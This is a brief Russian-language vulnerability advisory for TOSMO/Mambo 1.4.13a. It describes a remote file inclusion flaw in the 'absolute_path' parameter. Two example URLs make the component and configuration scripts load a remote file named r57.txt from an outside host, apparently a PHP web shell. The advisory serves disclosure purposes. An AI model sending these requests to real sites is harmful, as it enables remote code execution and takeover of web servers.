Программа: TOSMO/Mambo 1.4.13a
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «absolute_path» различными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
/components/com_minibb.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
